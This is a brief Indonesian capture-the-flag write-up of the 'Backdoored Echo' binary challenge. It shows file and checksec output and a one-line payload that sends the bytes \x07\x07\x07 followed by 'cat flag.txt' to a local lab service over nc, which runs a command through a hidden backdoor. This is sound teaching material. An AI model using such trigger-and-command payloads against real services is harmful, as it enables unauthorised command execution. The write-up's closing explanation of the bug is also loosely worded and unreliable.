[Cyber Jawara Final] Backdoored Echo (100 Poin)
Masalah
Diberikan berkas backdoored-echo
, temukan kelemahan dan eksploitasi berkas tersebut!
Penyelesaian
Pengumpulan Informasi
Lakukan pemeriksaan binary dengan menggunakan checksec
, periksa jenis berkas dengan file
dan jalankan binary secara normal serta dekompilasi kode dengan IDA.
$ file backdoored-echo
backdoored-echo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0d7087e46a2e74ede9f58d5415f6f5173d808e52, stripped
$ checksec backdoored-echo
[*] '/.../backdoored-echo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Dekompilasi
Poin-poin informasi yang didapatkan antara lain:
- Binary diproteksi.
- Jenis berkasnya Linux 64 bit.
- Terdapat kelemahan pada struktur kondisi dengan injeksi
\x07\x07\x07
.
Identifikasi Kelemahan
Berdasarkan pengumpulan informasi, terdapat kelemahan bahwa binary dapat dieksploitasi dengan mengisi buffer diatas, misal dengan perintah cat flag.txt
.
Akhir
Untuk eksploitasi bisa menggunakan script dibawah ini.
$ python -c "print '\x07\x07\x07cat flag.txt'" | nc localhost 31337
Simpulan
Eksploitasi binary dengan menimpa stack agar mendapatkan nilai variabel yang diinginkan.